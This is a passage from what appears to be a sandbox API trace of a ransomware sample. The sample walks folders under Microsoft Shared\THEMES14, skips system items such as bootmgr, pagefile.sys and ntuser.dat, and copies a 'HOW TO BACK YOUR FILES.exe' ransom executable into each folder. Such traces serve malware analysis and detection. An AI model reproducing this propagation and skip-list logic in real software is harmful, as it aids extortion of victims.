lpString2="MSBuild") returned -1 [0117.119] lstrlenW (lpString="EXPEDITN") returned 8 [0117.119] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EXPEDITN" | out: lpString1="EXPEDITN") returned="EXPEDITN" [0117.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a98 [0117.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515958 [0117.119] lstrcatW (in: lpString1="EXPEDITN", lpString2="\\" | out: lpString1="EXPEDITN\\") returned="EXPEDITN\\" [0117.119] lstrcatW (in: lpString1="EXPEDITN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="EXPEDITN\\HOW TO BACK YOUR FILES.exe") returned="EXPEDITN\\HOW TO BACK YOUR FILES.exe" [0117.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.123] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b4380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.123] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.123] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2=".") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="..") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="windows") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="bootmgr") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="temp") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="pagefile.sys") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="boot") returned 1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="ids.txt") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="ntuser.dat") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="perflogs") returned -1 [0117.123] lstrcmpiW (lpString1="ICE", lpString2="MSBuild") returned -1 [0117.123] lstrlenW (lpString="ICE") returned 3 [0117.123] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ICE" | out: lpString1="ICE") returned="ICE" [0117.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547ab0 [0117.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x5029a8 [0117.123] lstrcatW (in: lpString1="ICE", lpString2="\\" | out: lpString1="ICE\\") returned="ICE\\" [0117.123] lstrcatW (in: lpString1="ICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ICE\\HOW TO BACK YOUR FILES.exe") returned="ICE\\HOW TO BACK YOUR FILES.exe" [0117.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.126] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2=".") returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="..") returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="windows") returned -1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="bootmgr") returned 1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="temp") returned -1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="pagefile.sys") returned -1 [0117.126] lstrcmpiW (lpString1="INDUST", lpString2="boot") returned 1 [0117.127] lstrcmpiW (lpString1="INDUST", lpString2="ids.txt") returned 1 [0117.127] lstrcmpiW (lpString1="INDUST", lpString2="ntuser.dat") returned -1 [0117.127] lstrcmpiW (lpString1="INDUST", lpString2="perflogs") returned -1 [0117.127] lstrcmpiW (lpString1="INDUST", lpString2="MSBuild") returned -1 [0117.127] lstrlenW (lpString="INDUST") returned 6 [0117.127] lstrcpyW (in: lpString1=0x241e8b8, lpString2="INDUST" | out: lpString1="INDUST") returned="INDUST" [0117.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547ac8 [0117.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54dd58 [0117.127] lstrcatW (in: lpString1="INDUST", lpString2="\\" | out: lpString1="INDUST\\") returned="INDUST\\" [0117.127] lstrcatW (in: lpString1="INDUST\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="INDUST\\HOW TO BACK YOUR FILES.exe") returned="INDUST\\HOW TO BACK YOUR FILES.exe" [0117.127] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.130] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2=".") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="..") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="windows") returned -1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="bootmgr") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="temp") returned -1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="pagefile.sys") returned -1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="boot") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="ids.txt") returned 1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="ntuser.dat") returned -1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="perflogs") returned -1 [0117.130] lstrcmpiW (lpString1="IRIS", lpString2="MSBuild") returned -1 [0117.130] lstrlenW (lpString="IRIS") returned 4 [0117.130] lstrcpyW (in: lpString1=0x241e8b8, lpString2="IRIS" | out: lpString1="IRIS") returned="IRIS" [0117.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547ae0 [0117.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54dde0 [0117.130] lstrcatW (in: lpString1="IRIS", lpString2="\\" | out: lpString1="IRIS\\") returned="IRIS\\" [0117.130] lstrcatW (in: lpString1="IRIS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IRIS\\HOW TO BACK YOUR FILES.exe") returned="IRIS\\HOW TO BACK YOUR FILES.exe" [0117.131] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.133] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2=".") returned 1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2="..") returned 1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2="windows") returned -1 [0117.133] lstrcmpiW (lpString1="JOURNAL", lpString2="bootmgr") returned 1 [0117.133] lstrcpyW (in: lpString1=0x241e8b8, lpString2="JOURNAL" | out: lpString1="JOURNAL") returned="JOURNAL" [0117.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547af8 [0117.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54de68 [0117.133] lstrcatW (in: lpString1="JOURNAL", lpString2="\\" | out: lpString1="JOURNAL\\") returned="JOURNAL\\" [0117.133] lstrcatW (in: lpString1="JOURNAL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="JOURNAL\\HOW TO BACK YOUR FILES.exe") returned="JOURNAL\\HOW TO BACK YOUR FILES.exe" [0117.134] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.136] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0117.136] lstrcmpiW (lpString1="LAYERS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.136] lstrcmpiW (lpString1="LAYERS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.136] lstrcpyW (in: lpString1=0x241e8b8, lpString2="LAYERS" | out: lpString1="LAYERS") returned="LAYERS" [0117.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b10 [0117.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54def0 [0117.137] lstrcatW (in: lpString1="LAYERS", lpString2="\\" | out: lpString1="LAYERS\\") returned="LAYERS\\" [0117.137] lstrcatW (in: lpString1="LAYERS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LAYERS\\HOW TO BACK YOUR FILES.exe") returned="LAYERS\\HOW TO BACK YOUR FILES.exe" [0117.137] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.139] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0117.139] lstrcmpiW (lpString1="LEVEL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.139] lstrcmpiW (lpString1="LEVEL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.140] lstrcpyW (in: lpString1=0x241e8b8, lpString2="LEVEL" | out: lpString1="LEVEL") returned="LEVEL" [0117.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b28 [0117.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54df78 [0117.140] lstrcatW (in: lpString1="LEVEL", lpString2="\\" | out: lpString1="LEVEL\\") returned="LEVEL\\" [0117.140] lstrcatW (in: lpString1="LEVEL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LEVEL\\HOW TO BACK YOUR FILES.exe") returned="LEVEL\\HOW TO BACK YOUR FILES.exe" [0117.140] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.143] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0117.143] lstrcmpiW (lpString1="NETWORK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.143] lstrcmpiW (lpString1="NETWORK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.143] lstrcpyW (in: lpString1=0x241e8b8, lpString2="NETWORK" | out: lpString1="NETWORK") returned="NETWORK" [0117.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b40 [0117.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54e000 [0117.143] lstrcatW (in: lpString1="NETWORK", lpString2="\\" | out: lpString1="NETWORK\\") returned="NETWORK\\" [0117.143] lstrcatW (in: lpString1="NETWORK\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NETWORK\\HOW TO BACK YOUR FILES.exe") returned="NETWORK\\HOW TO BACK YOUR FILES.exe" [0117.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.146] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0117.146] lstrcmpiW (lpString1="PAPYRUS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.146] lstrcmpiW (lpString1="PAPYRUS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.146] lstrcpyW (in: lpString1=0x241e8b8, lpString2="PAPYRUS" | out: lpString1="PAPYRUS") returned="PAPYRUS" [0117.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b58 [0117.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54e088 [0117.146] lstrcatW (in: lpString1="PAPYRUS", lpString2="\\" | out: lpString1="PAPYRUS\\") returned="PAPYRUS\\" [0117.146] lstrcatW (in: lpString1="PAPYRUS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PAPYRUS\\HOW TO BACK YOUR FILES.exe") returned="PAPYRUS\\HOW TO BACK YOUR FILES.exe" [0117.146] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.154] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0117.154] lstrcmpiW (lpString1="PIXEL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.154] lstrcmpiW (lpString1="PIXEL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.154] lstrcpyW (in: lpString1=0x241e8b8, lpString2="PIXEL" | out: lpString1="PIXEL") returned="PIXEL" [0117.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b70 [0117.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54e110 [0117.154] lstrcatW (in: lpString1="PIXEL", lpString2="\\" | out: lpString1="PIXEL\\") returned="PIXEL\\" [0117.154] lstrcatW (in: lpString1="PIXEL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PIXEL\\HOW TO BACK YOUR FILES.exe") returned="PIXEL\\HOW TO BACK YOUR FILES.exe" [0117.154] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.156] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0117.156] lstrcmpiW (lpString1="PROFILE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.156] lstrcmpiW (lpString1="PROFILE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.157] lstrcpyW (in: lpString1=0x241e8b8, lpString2="PROFILE" | out: lpString1="PROFILE") returned="PROFILE" [0117.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547b88 [0117.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54e198 [0117.157] lstrcatW (in: lpString1="PROFILE", lpString2="\\" | out: lpString1="PROFILE\\") returned="PROFILE\\" [0117.157] lstrcatW (in: lpString1="PROFILE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PROFILE\\HOW TO BACK YOUR FILES.exe") returned="PROFILE\\HOW TO BACK YOUR FILES.exe" [0117.157] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.160] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0117.160] lstrcmpiW (lpString1="QUAD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.160] lstrcmpiW (lpString1="QUAD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.160] lstrcpyW (in: lpString1=0x241e8b8, lpString2="QUAD" | out: lpString1="QUAD") returned="QUAD" [0117.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547ba0 [0117.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54e220 [0117.160] lstrcatW (in: lpString1="QUAD", lpString2="\\" | out: lpString1="QUAD\\") returned="QUAD\\" [0117.160] lstrcatW (in: lpString1="QUAD\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="QUAD\\HOW TO BACK YOUR FILES.exe") returned="QUAD\\HOW TO BACK YOUR FILES.exe" [0117.160] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.163] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0117.163] lstrcmpiW (lpString1="RADIAL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.163] lstrcmpiW (lpString1="RADIAL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.163] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RADIAL" | out: lpString1="RADIAL") returned="RADIAL" [0117.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547bb8 [0117.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54e2a8 [0117.163] lstrcatW (in: lpString1="RADIAL", lpString2="\\" | out: lpString1="RADIAL\\") returned="RADIAL\\" [0117.163] lstrcatW (in: lpString1="RADIAL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RADIAL\\HOW TO BACK YOUR FILES.exe") returned="RADIAL\\HOW TO BACK YOUR FILES.exe" [0117.163] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.166] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0117.166] lstrcmpiW (lpString1="REFINED", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.166] lstrcmpiW (lpString1="REFINED", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.166] lstrcpyW (in: lpString1=0x241e8b8, lpString2="REFINED" | out: lpString1="REFINED") returned="REFINED" [0117.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547bd0 [0117.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54e330 [0117.167] lstrcatW (in: lpString1="REFINED", lpString2="\\" | out: lpString1="REFINED\\") returned="REFINED\\" [0117.167] lstrcatW (in: lpString1="REFINED\\", 